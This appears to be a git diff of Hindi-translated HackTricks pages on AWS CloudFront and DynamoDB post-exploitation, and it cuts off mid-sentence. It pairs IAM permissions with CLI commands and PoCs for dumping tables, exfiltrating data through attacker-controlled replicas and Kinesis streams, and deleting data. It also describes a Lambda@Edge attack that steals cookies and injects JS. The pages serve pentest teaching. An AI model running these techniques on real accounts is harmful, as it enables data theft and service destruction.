अन्य महत्वपूर्ण CDN configuration objects — उदाहरण के लिए distributions, cache/origin policies, key groups, origin access identities, functions/configs, और संबंधित resources — को delete कर सकता है। इससे service disruption, content loss, और configuration या forensic artifacts का हटना हो सकता है। -किसी distribution को हटाने के लिए attacker निम्न का उपयोग कर सकता है: +किसी distribution को delete करने के लिए attacker निम्न का उपयोग कर सकता है: ```bash aws cloudfront delete-distribution \ --id \ @@ -21,20 +21,20 @@ aws cloudfront delete-distribution \ ``` ### Man-in-the-Middle -यह [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ अलग परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront के माध्यम से संचार** में जोड़ा जा सकता है (या यदि यह पहले से उपयोग में है तो संशोधित किया जा सकता है) ताकि उपयोगकर्ता जानकारी **चोरी** की जा सके (जैसे session **cookie**) और **response** को बदला जा सके (एक malicious JS script inject करना)। +This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ अलग परिदृश्यों का सुझाव देता है जहाँ एक **Lambda** को (या यदि पहले से उपयोग में हो तो संशोधित किया जा सकता है) **communication through CloudFront** में जोड़ा जा सकता है ताकि उपयोगकर्ता की जानकारी **stealing** (जैसे session **cookie**) और **modifying** the **response** (malicious JS script inject करना) किया जा सके। -#### परिदृश्य 1: MitM जहाँ CloudFront को किसी बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है +#### परिदृश्य 1: MitM जहाँ CloudFront को किसी bucket के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है -- **बनाएँ** दुष्ट **function**। -- इसे CloudFront distribution के साथ जोड़ें। -- **event type** को "Viewer Response" पर सेट करें। +- **Create** दुर्भावनापूर्ण **function** बनाएं। +- **Associate** इसे CloudFront distribution के साथ करें। +- **event type to "Viewer Response"** सेट करें। -Response तक पहुँच कर आप उपयोगकर्ताओं का **cookie** चुरा सकते हैं और एक malicious JS इनजेक्ट कर सकते हैं। +Response को एक्सेस करके आप उपयोगकर्ता का cookie चुरा सकते हैं और एक malicious JS inject कर सकते हैं। #### परिदृश्य 2: MitM जहाँ CloudFront पहले से ही एक lambda function का उपयोग कर रहा है -- lambda function के कोड को संशोधित करें ताकि संवेदनशील जानकारी चुराई जा सके +- lambda function के **code** को **Modify the code** करके संवेदनशील जानकारी चुराई जा सकती है। -आप यह [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) देख सकते हैं। +You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md index 43e936283..85574c8ed 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md @@ -12,7 +12,7 @@ ### `dynamodb:BatchGetItem` -इस अनुमति के साथ attacker टेबलों से प्राथमिक कुंजी द्वारा **आइटम प्राप्त कर सकेगा** (आप सिर्फ तालिका के सभी डेटा की माँग नहीं कर सकते)। इसका मतलब है कि आपको प्राथमिक कुंजियाँ पता होनी चाहिए (आप यह तालिका के मेटाडाटा प्राप्त करके पा सकते हैं (`describe-table`)). +इस permission वाले attacker को तालिकाओं से primary key द्वारा **items प्राप्त करने** की अनुमति होगी (आप तालिका का सारा डेटा सीधे माँग नहीं सकते)। इसका मतलब है कि आपको primary keys पता होने चाहिए (आप तालिका के metadata (`describe-table`) प्राप्त करके यह पता कर सकते हैं)। {{#tabs }} {{#tab name="json file" }} @@ -43,11 +43,11 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर Indirect privesc +**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर Indirect privesc ### `dynamodb:GetItem` -**पिछली अनुमतियों के समान** यह अनुमति एक संभावित attacker को केवल 1 टेबल से एंट्री की प्राथमिक कुंजी देकर मान पढ़ने की अनुमति देती है: +**पिछली अनुमतियों के समान** यह अनुमति संभावित हमलावर को केवल 1 टेबल से दी गई एंट्री की प्राथमिक कुंजी के आधार पर मान पढ़ने की अनुमति देती है: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -इस अनुमति के साथ यह भी संभव है कि आप **`transact-get-items`** मेथड का उपयोग इस तरह कर सकते हैं: +इस अनुमति के साथ **`transact-get-items`** मेथड का उपयोग इस तरह भी किया जा सकता है: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc +**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc ### `dynamodb:Query` -**पिछली permissions के समान** यह एक संभावित attacker को केवल 1 तालिका से उस एंट्री की प्राथमिक कुंजी दिए जाने पर मान पढ़ने की अनुमति देता है। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का उपयोग करने की अनुमति देता है, लेकिन प्राथमिक कुंजी (जो मौजूद होना चाहिए) के साथ केवल "EQ" तुलना की अनुमति है, इसलिए आप किसी request में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते। +**पिछली permissions की तरह** यह अनुमति एक संभावित attacker को केवल एक तालिका से उस रिकॉर्ड की primary key देने पर मान पढ़ने की अनुमति देती है। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का उपयोग करने की अनुमति देता है, लेकिन primary key (जो मौजूद होना चाहिए) के साथ केवल "EQ" तुलना की अनुमति है, इसलिए आप किसी अनुरोध में पूरे DB को प्राप्त करने के लिए तुलना का उपयोग नहीं कर सकते। {{#tabs }} {{#tab name="json file" }} @@ -107,35 +107,35 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc द्वारा टेबल में संवेदनशील जानकारी का पता लगाना +**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर Indirect privesc संभव। ### `dynamodb:Scan` -आप इस अनुमति का उपयोग करके **पूरी टेबल को आसानी से dump कर सकते हैं**। +आप इस अनुमति का उपयोग करके **पूरी टेबल को आसानी से dump कर सकते हैं।** ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**संभावित प्रभाव:** Indirect privesc द्वारा तालिका में संवेदनशील जानकारी का पता लगाकर +**Potential Impact:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc ### `dynamodb:PartiQLSelect` -आप इस अनुमति का उपयोग **पूरी तालिका को आसानी से dump करने** के लिए कर सकते हैं। +आप इस अनुमति का उपयोग करके **पूरी तालिका को आसानी से dump कर सकते हैं**। ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -यह अनुमति `batch-execute-statement` जैसे कार्यों को करने की भी अनुमति देती है: +यह अनुमति `batch-execute-statement` जैसे कार्य करने की भी अनुमति देती है: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -हालाँकि आपको प्राथमिक कुंजी के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है। +लेकिन आपको primary key को एक value के साथ निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है। -**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc +**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाने से अप्रत्यक्ष privesc ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -यह अनुमति attacker को **पूरे टेबल को अपनी पसंद के S3 bucket में निर्यात** करने की अनुमति देगी: +यह permission एक attacker को **पूरे टेबल को एक S3 bucket में निर्यात करने** की अनुमति देगा: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -ध्यान दें कि इसके काम करने के लिए टेबल में point-in-time-recovery सक्षम होना चाहिए, आप यह जाँच सकते हैं कि टेबल में यह है या नहीं: +ध्यान दें कि यह काम करने के लिए टेबल में point-in-time-recovery सक्षम होना चाहिए, आप यह जाँच कर सकते हैं कि टेबल में यह है या नहीं: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और उसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता होगी: +यदि यह सक्षम नहीं है, तो आपको इसे **सक्षम करना** होगा और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति की आवश्यकता होगी: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**संभावित प्रभाव:** अप्रत्यक्ष privesc — टेबल में संवेदनशील जानकारी खोजकर +**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -इन permissions के साथ, एक attacker सक्षम होगा **बैकअप से एक नया टेबल बनाने में** (या यहाँ तक कि एक बैकअप बनाकर उसे दूसरे टेबल में restore करने के लिए)। फिर, आवश्यक permissions के साथ, वह बैकअप से **जानकारी** देख पाएगा जो c**अब production में मौजूद नहीं होगी** टेबल। +इन permissions के साथ, एक attacker सक्षम होगा **बैकअप से एक नया टेबल बनाना** (या यहाँ तक कि एक बैकअप बनाकर उसे किसी अलग टेबल में restore करना)। फिर, आवश्यक permissions होने पर, वह बैकअप से **जानकारी** देख सकेगा जो **production टेबल में अब और मौजूद नहीं हो सकती**। ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potential Impact:** टेबल बैकअप में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc +**संभावित प्रभाव:** अप्रत्यक्ष privesc द्वारा टेबल बैकअप में संवेदनशील जानकारी का पता लगाने से ### `dynamodb:PutItem` -यह अनुमति उपयोगकर्ताओं को टेबल में **नया आइटम जोड़ने या मौजूदा आइटम को नए आइटम से बदलने** की अनुमति देती है। यदि उसी प्राथमिक कुंजी का एक आइटम पहले से मौजूद है, तो **पूरा आइटम नए आइटम से प्रतिस्थापित कर दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **निर्मित किया जाएगा**। +यह अनुमति उपयोगकर्ताओं को तालिका में **नया आइटम जोड़ने या मौजूदा आइटम को नए आइटम से बदलने** की अनुमति देती है। यदि उसी प्राथमिक कुंजी वाला कोई आइटम पहले से मौजूद है, तो **पूरा आइटम बदल दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**। {{#tabs }} {{#tab name="XSS Example" }} @@ -202,11 +202,11 @@ aws dynamodb put-item \ {{#endtab }} {{#endtabs }} -**Potential Impact:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने पर आगे की vulnerabilities/bypasses का exploitation +**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से अतिरिक्त कमजोरियों/बायपास का शोषण संभव है ### `dynamodb:UpdateItem` -यह अनुमति उपयोगकर्ताओं को किसी आइटम के मौजूदा attributes को **संशोधित करने** या आइटम में नए attributes **जोड़ने** की अनुमति देती है। यह पूरे आइटम को **बदलता नहीं है**; यह केवल निर्दिष्ट attributes को ही अपडेट करता है। यदि तालिका में प्राथमिक कुंजी मौजूद नहीं है, तो यह ऑपरेशन निर्दिष्ट primary key के साथ एक **नया आइटम बनाएगा** और update expression में निर्दिष्ट attributes सेट करेगा। +यह अनुमति उपयोगकर्ताओं को **किसी item के मौजूदा attributes को संशोधित करने या item में नए attributes जोड़ने** की अनुमति देती है। यह पूरे item को **प्रतिस्थापित नहीं** करती; यह केवल निर्दिष्ट attributes को अपडेट करती है। यदि table में primary key मौजूद नहीं है, तो यह ऑपरेशन निर्दिष्ट primary key के साथ **एक नया item बनाएगा** और update expression में निर्दिष्ट attributes को सेट कर देगा। {{#tabs }} {{#tab name="XSS Example" }} @@ -242,49 +242,49 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से आगे के vulnerabilities/bypasses का शोषण संभव है। +**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने पर आगे की कमजोरियों/बाईपास का शोषण किया जा सकता है। ### `dynamodb:DeleteTable` -इस permission वाले attacker एक DynamoDB table को **हटा सकते हैं, जिससे डेटा हानि हो सकती है।** +इस अनुमति वाले हमलावर इस DynamoDB table को **हटा सकते हैं, जिससे डेटा हानि होगी।** ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**संभावित प्रभाव**: डेटा हानि और हटाई गई तालिका पर निर्भर सेवाओं में व्यवधान। +**संभावित प्रभाव**: डिलीट की गई तालिका पर निर्भर सेवाओं में डेटा हानि और व्यवधान। ### `dynamodb:DeleteBackup` -इस अनुमति वाला हमलावर **DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति के परिदृश्य में संभावित रूप से डेटा हानि का कारण बन सकता है**। +इस अनुमति वाले attacker **DynamoDB बैकअप को हटा सकते हैं, जिससे आपदा पुनर्प्राप्ति परिदृश्य में संभावित रूप से डेटा हानि हो सकती है**। ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**संभावित प्रभाव**: डेटा हानि और आपदा पुनर्प्राप्ति स्थिति में बैकअप से पुनर्प्राप्ति में असमर्थता। +**Potential impact**: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता। ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: परीक्षण करें कि यह वास्तव में काम करता है +> TODO: जाँचें कि क्या यह वास्तव में काम करता है -इन permissions के साथ एक attacker **किसी DynamoDB table पर stream सक्षम कर सकता है, table को अपडेट करके परिवर्तन स्ट्रीमिंग शुरू कर सकता है, और फिर stream तक पहुंचकर वास्तविक समय में table में होने वाले परिवर्तनों की मॉनिटरिंग कर सकता है**। यह attacker को परिवर्तन मॉनिटर और exfiltrate करने की अनुमति देता है, जो संभावित रूप से data leakage का कारण बन सकता है। +इन अनुमतियों वाले हमलावर द्वारा **DynamoDB table पर एक stream सक्षम करना, तालिका को अपडेट करके परिवर्तन stream करना शुरू करना, और फिर तालिका में होने वाले बदलावों को वास्तविक समय में मॉनिटर करने के लिए stream तक पहुंच प्राप्त करना** संभव है। यह हमलावर को डेटा परिवर्तन मॉनिटर और exfiltrate करने की अनुमति देता है, जिससे संभावित रूप से data leakage हो सकता है। -1. किसी DynamoDB टेबल पर stream सक्षम करें: +1. एक DynamoDB table पर stream सक्षम करें: ```bash aws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. उस stream का वर्णन करें ताकि ARN और अन्य विवरण प्राप्त किए जा सकें: +2. ARN और अन्य विवरण प्राप्त करने के लिए stream का वर्णन करें: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. shard iterator प्राप्त करें stream ARN का उपयोग करके: +3. stream ARN का उपयोग करके shard iterator प्राप्त करें: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. shard iterator का उपयोग करके stream से डेटा एक्सेस और exfiltrate करें: +4. shard iterator का उपयोग करके stream से डेटा को access और exfiltrate करें: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**संभावित प्रभाव**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Potential impact**: DynamoDB टेबल में हुए बदलावों की रीयल-टाइम मॉनिटरिंग और डेटा लीक। -### आइटम पढ़ें `dynamodb:UpdateItem` और `ReturnValues=ALL_OLD` के ज़रिए +### Read items via `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` -सिर्फ़ `dynamodb:UpdateItem` अनुमतियाँ वाली किसी attacker को टेबल पर सामान्य read permissions (`GetItem`/`Query`/`Scan`) के बिना भी आइटम पढ़ने की क्षमता मिल सकती है — वह एक harmless update करके और `--return-values ALL_OLD` माँगकर ऐसा कर सकता है। DynamoDB response के `Attributes` फ़ील्ड में आइटम की पूरी pre-update image लौटाएगा (यह RCUs खर्च नहीं करता)। +एक हमलावर जिसके पास किसी टेबल पर केवल `dynamodb:UpdateItem` अनुमति हो, सामान्य read permissions (`GetItem`/`Query`/`Scan`) के बिना आइटम पढ़ सकता है — बस एक harmless update करके और `--return-values ALL_OLD` का अनुरोध करके। DynamoDB response के `Attributes` फ़ील्ड में आइटम का पूर्ण pre-update image लौटाएगा (इससे RCUs खर्च नहीं होते)। -- न्यूनतम अनुमतियाँ: लक्ष्य table/key पर `dynamodb:UpdateItem`. -- पूर्वापेक्षाएँ: आपको आइटम की प्राथमिक कुंजी (primary key) पता होनी चाहिए। +- न्यूनतम अनुमतियाँ: `dynamodb:UpdateItem` लक्षित तालिका/कुंजी पर। +- पूर्व-आवश्यकताएँ: आपको आइटम की प्राथमिक कुंजी पता होनी चाहिए। -Example (एक harmless attribute जोड़ता है और response में previous item को exfiltrates करता है): +उदाहरण (एक हानिरहित attribute जोड़ता है और प्रतिक्रिया में पिछले आइटम को exfiltrate करता है): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -CLI प्रतिक्रिया में एक `Attributes` ब्लॉक शामिल होगा जो पिछले आइटम की पूरी सामग्री (सभी attributes) रखेगा, जिससे write-only एक्सेस से प्रभावी रूप से एक read primitive मिल जाता है। +CLI प्रतिक्रिया में `Attributes` ब्लॉक शामिल होगा जो पिछले आइटम को पूरा (सभी attributes) दिखाएगा, और इस तरह write-only पहुँच से प्रभावी रूप से एक read primitive प्रदान करेगा। -**Potential Impact:** केवल write permissions होने पर किसी table से मनमाने आइटम पढ़ना संभव, जब primary keys ज्ञात हों तो संवेदनशील डेटा की exfiltration सक्षम हो जाता है। +**Potential Impact:** केवल write permissions होने पर भी तालिका से मनमाने आइटम पढ़े जा सकते हैं, और जब primary keys ज्ञात हों तो संवेदनशील डेटा की exfiltration संभव हो जाती है। ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -DynamoDB Global Table (version 2019.11.21) में एक नया replica Region जोड़कर छुपकर exfiltration। अगर कोई principal regional replica जोड़ सकता है, तो पूरा table attacker-चुने Region में replicate हो जाता है, जहाँ से attacker सभी आइटम पढ़ सकता है। +DynamoDB Global Table (version 2019.11.21) में एक नया replica Region जोड़कर stealth exfiltration की जा सकती है। यदि कोई principal एक regional replica जोड़ सकता है, तो पूरी तालिका attacker-चुने हुए Region में replicate हो जाएगी, जहाँ से attacker सभी आइटम पढ़ सकता है। {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -अनुमतियाँ: `dynamodb:UpdateTable` (with `replica-updates`) या लक्षित तालिका पर `dynamodb:CreateTableReplica`। यदि replica में CMK का उपयोग किया गया है, तो उस कुंजी के लिए KMS अनुमतियाँ आवश्यक हो सकती हैं। +अनुमतियाँ: `dynamodb:UpdateTable` (with `replica-updates`) या लक्षित तालिका पर `dynamodb:CreateTableReplica`। यदि replica में CMK का उपयोग किया गया है, तो उस key के लिए KMS अनुमतियाँ आवश्यक हो सकती हैं। -संभावित प्रभाव: हमलावर-नियंत्रित Region में पूरी तालिका की replication, जिससे गुप्त तरीके से डेटा exfiltration संभव हो सकता है। +संभावित प्रभाव: पूर्ण-तालिका replication को attacker-controlled Region पर भेजा जा सकता है, जिससे stealthy data exfiltration हो सकती है। -### `dynamodb:TransactWriteItems` (असफल condition के माध्यम से पढ़ना + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (failed condition के माध्यम से read + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -ट्रांज़ैक्शनल write अधिकार वाला कोई हमलावर `TransactWriteItems` के अंदर एक जानबूझकर असफल होने वाला `Update` करके किसी मौजूदा आइटम के पूरे attributes exfiltrate कर सकता है, जबकि `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट किया गया हो। असफलता पर, DynamoDB लेन-देन रद्द करने के कारणों में पिछले attributes शामिल कर देता है, प्रभावी रूप से लक्षित keys के लिए केवल-write पहुँच को पढ़ने की पहुँच में बदल देता है। +जिस attacker के पास transactional write privileges हैं, वह `TransactWriteItems` के अंदर एक `Update` करके मौजूद item के पूरे attributes को exfiltrate कर सकता है, जो जानबूझकर एक `ConditionExpression` में fail होता है और साथ ही `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट किया गया हो। विफलता पर, DynamoDB transaction cancellation reasons में prior attributes शामिल कर देता है, जिससे प्रभावी रूप से write-only access लक्षित keys के लिए read access में बदल जाता है। {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,20 +409,20 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -अनुमतियाँ: `dynamodb:TransactWriteItems` on the target table (और अंतर्निहित आइटम)। किसी भी पढ़ने की अनुमतियों की आवश्यकता नहीं है। +अनुमतियाँ: `dynamodb:TransactWriteItems` on the target table (और अंतर्निहित item पर). किसी भी read permissions की आवश्यकता नहीं है। -संभावित प्रभाव: केवल ट्रांज़ैक्शनल write विशेषाधिकारों का उपयोग करके, वापस किए गए रद्द करने के कारणों के माध्यम से प्राथमिक कुंजी द्वारा तालिका से किसी भी आइटम को पढ़ना। +संभावित प्रभाव: वापस किए गए cancellation reasons के माध्यम से केवल transactional write privileges का उपयोग करके किसी table से (primary key द्वारा) मनमाने items पढ़ना। ### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -कम-एंट्रॉपी attribute पर `ProjectionType=ALL` के साथ एक Global Secondary Index (GSI) बनाकर पढ़ने पर लगे प्रतिबंधों को बायपास करें, उस attribute को सभी आइटम्स पर एक स्थिर मान पर सेट करें, फिर पूर्ण आइटम प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` इनकार कर दिए गए हों, बशर्ते आप index ARN को query कर सकें। +कम-एंट्रॉपी attribute पर `ProjectionType=ALL` के साथ एक Global Secondary Index (GSI) बनाकर पढ़ने की सीमाओं को बायपास करें, उस attribute को items में एक स्थिर मान पर सेट करें, फिर पूर्ण items प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` अस्वीकृत हों, बशर्ते आप index ARN को query कर सकें। - न्यूनतम अनुमतियाँ: -- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`). -- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item). +- `dynamodb:UpdateTable` on the target table (GSI को `ProjectionType=ALL` के साथ बनाने के लिए). +- `dynamodb:UpdateItem` on the target table keys (प्रत्येक item पर indexed attribute सेट करने के लिए). - `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:::table//index/`). -चरण (PoC in us-east-1): +कदम (PoC in us-east-1): ```bash # 1) Create table and seed items (without the future GSI attribute) aws dynamodb create-table --table-name HTXIdx \ @@ -460,17 +460,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**संभावित प्रभाव:** नए बने GSI को query करके, जो सभी attributes को project करता है, पूरा table exfiltration किया जा सकता है — यहाँ तक कि base table read APIs deny होने पर भी। +**संभावित प्रभाव:** नए बनाए गए GSI को क्वेरी करके जो सभी attributes प्रोजेक्ट करता है, पूरी टेबल का exfiltration संभव है, भले ही base table read APIs अस्वीकार कर दिए गए हों। -### `dynamodb:EnableKinesisStreamingDestination` (निरंतर exfiltration via Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams के माध्यम से निरंतर exfiltration) -DynamoDB Kinesis streaming destinations का दुरुपयोग करके टेबल के परिवर्तनों को लगातार attacker-controlled Kinesis Data Stream में exfiltrate किया जा सकता है। एक बार enabled होने पर, हर INSERT/MODIFY/REMOVE event लगभग real-time में stream को forward किया जाता है, बिना table पर read permissions की आवश्यकता के। +DynamoDB Kinesis streaming destinations का दुरुपयोग करके किसी table के बदलावों को निरंतर attacker-controlled Kinesis Data Stream में exfiltrate करना। एक बार सक्षम होने पर, हर INSERT/MODIFY/REMOVE घटना लगभग वास्तविक-समय में stream पर फॉरवर्ड हो जाती है बिना table पर read permissions की आवश्यकता के। -Minimum permissions (attacker): -- `dynamodb:EnableKinesisStreamingDestination` target table पर -- वैकल्पिक रूप से `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` status मॉनिटर करने के लिए -- attacker-owned Kinesis stream पर records consume करने के लिए Read permissions: `kinesis:*` +न्यूनतम अनुमतियाँ (हमलावर): +- `dynamodb:EnableKinesisStreamingDestination` on the target table +- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status +- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
PoC (us-east-1) @@ -529,17 +529,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` -dynamodb:UpdateTimeToLive अनुमति वाले एक हमलावर एक table की TTL (time-to-live) कॉन्फ़िगरेशन को बदल सकते हैं — TTL को सक्षम या अक्षम कर सकते हैं। जब TTL सक्षम होता है, तो वे व्यक्तिगत items जिनमें कॉन्फ़िगर किया गया TTL attribute होता है, उनके समाप्ति समय पहुँचने पर स्वचालित रूप से हटाए दिए जाएंगे। TTL value प्रत्येक आइटम पर एक और attribute होती है; जिन items में वह attribute नहीं है, वे TTL-आधारित हटाने से प्रभावित नहीं होते। +एक attacker जिसके पास dynamodb:UpdateTimeToLive अनुमति है, वह किसी table की TTL (time-to-live) configuration बदल सकता है — TTL को सक्षम या अक्षम कर सकता है। जब TTL सक्षम होता है, तो जिन व्यक्तिगत items में configured TTL attribute मौजूद होगा वे उनके expiration time पहुँचने पर स्वचालित रूप से हटा दिए जाएंगे। TTL value प्रत्येक item पर एक अन्य attribute ही होती है; जिन items में वह attribute नहीं होगा, वे TTL-आधारित deletion से प्रभावित नहीं होंगे। -यदि items पहले से TTL attribute नहीं रखते हैं, तो हमलावर को उन items को अपडेट करने की अनुमति भी चाहिए होगी (उदाहरण के लिए dynamodb:UpdateItem) ताकि वह TTL attribute जोड़कर बड़े पैमाने पर deletions को ट्रिगर कर सके। +यदि items में पहले से TTL attribute मौजूद नहीं है, तो attacker को items अपडेट करने की अनुमति भी चाहिए होगी (उदाहरण के लिए dynamodb:UpdateItem), ताकि वह TTL attribute जोड़ कर बड़े पैमाने पर deletions ट्रिगर कर सके। -सबसे पहले table पर TTL सक्षम करें, और expiration के लिए उपयोग होने वाले attribute का नाम निर्दिष्ट करें: +सबसे पहले table पर TTL सक्षम करें और expiration के लिए उपयोग किए जाने वाले attribute का नाम निर्दिष्ट करें: ```bash aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` -फिर items को अपडेट करके TTL attribute (epoch seconds) जोड़ें ताकि वे समाप्त होकर हटा दिए जाएँ: +फिर items को अपडेट करें ताकि TTL attribute (epoch seconds) जोड़ दिया जाए ताकि वे expire होकर हट जाएँ: ```bash aws dynamodb update-item \ --table-name \ @@ -549,15 +549,15 @@ aws dynamodb update-item \ ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` -यदि किसी हमलावर के पास dynamodb:RestoreTableFromAwsBackup या dynamodb:RestoreTableToPointInTime permissions हों, तो वह backups या point-in-time recovery (PITR) से restored नई tables बना सकता है बिना मूल table को overwrite किए। Restored table में चयनित पॉइंट का डेटा का पूरा चित्र होता है, इसलिए हमलावर इसका उपयोग ऐतिहासिक जानकारी exfiltrate करने या डेटाबेस की पिछली स्थिति का पूरा dump प्राप्त करने के लिए कर सकता है। +जिस attacker के पास `dynamodb:RestoreTableFromAwsBackup` या `dynamodb:RestoreTableToPointInTime` permissions हों, वह original table को overwrite किए बिना backups या point-in-time recovery (PITR) से restore किए गए नए tables बना सकता है। Restore की हुई table में चयनित बिंदु पर मौजूद डेटा की पूर्ण छवि होती है, इसलिए attacker इसका उपयोग historical information exfiltrate करने या database की past state का पूरा dump प्राप्त करने के लिए कर 